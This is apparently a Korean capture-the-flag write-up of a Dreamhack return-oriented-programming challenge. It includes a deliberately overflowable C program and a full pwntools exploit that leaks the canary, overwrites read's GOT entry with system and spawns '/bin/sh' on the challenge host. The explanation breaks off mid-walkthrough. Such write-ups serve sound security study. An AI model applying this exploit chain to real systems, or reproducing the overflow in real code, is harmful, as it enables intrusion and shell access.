2023.06.13

지난 코스와 달리 바이너리에서 system함수를 호출하지 않아서 PLT에 등록되지 않으며, “/bin/sh” 문자열도 데이터 섹션에 기록하지 않습니다. 따라서 system함수를 익스플로잇에 사용하려면 함수의 주소를 직접 구해야 하고, “/bin/sh” 문자열을 사용할 다른 방법을 고민해야 합니다.

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
	
  return 0;
}

설계

system 함수는 libc.so.6에 정의되어 있으며, 해당 라이브러리에는 이 바이너리가 호출하는 readputsprintf도 정의되어 있습니다. 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, 다른 함수들과 함께 system 함수도 프로세스 메모리에 같이 적재됩니다.

그로 인해 system 가 호출되지 않아서 GOT와 PLT에 등록되지 않았다. 하지만 read, put,printf는 GOT에 등록이 되어있습니다.

위와 같은 사실을 이용해서 GOT의 read, put,printf함수의 주소를 조작해 system 함수에 접근한다. 나머지 익스는 return to library에서 이용한 방법으로 익스를 합니다.

중요한 것

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
  과 같은 방법으로 접근하지 못한다.

전체 익스플로잇

from pwn import *

#read함수와 system 함수 사이에 거리는 Ubuntu GLIBC 2.27-3ubuntu1.2에서 0xc0ca0이다.
#0x0000000000400853 : pop rdi ; ret

p = remote("host3.dreamhack.games", 22312)
# p = process('./rop')
e = ELF('./rop')
libc = ELF('./libc.so.6')

#canary leak
pay = b"A"*0x39  # dumy 8byte
p.sendafter(b"Buf: ", pay)
p.recvuntil(pay)
cnry = u64(b"\\x00" + p.recv(7))

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854

pay = b"A"*0x38 + p64(cnry) + b"A"*0x8

#exploit

# 1
pay += p64(pop_rdi) + p64(1)
pay += p64(pop_rsi_r15) + p64(read_got) + p64(0)
pay += p64(write_plt)

# 2
pay += p64(pop_rdi) + p64(0)
pay += p64(pop_rsi_r15) + p64(read_got) + p64(0)
pay += p64(read_plt)

# 3
pay += p64(pop_rdi)
pay += p64(read_got + 0x8)
pay += p64(ret)
pay += p64(read_plt)
p.sendafter(b'Buf: ', pay)
read = u64(p.recvn(6) + b'\\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
p.send(p64(system) + b'/bin/sh\\x00')

p.interactive()

익스 코드 해석

처음 카나리 릭은 하던거니 생략.

카나리를 이용해서 버퍼 오버플로우를 이르키고, pop rdi ; ret 가 있는 리턴 가젯으로 간다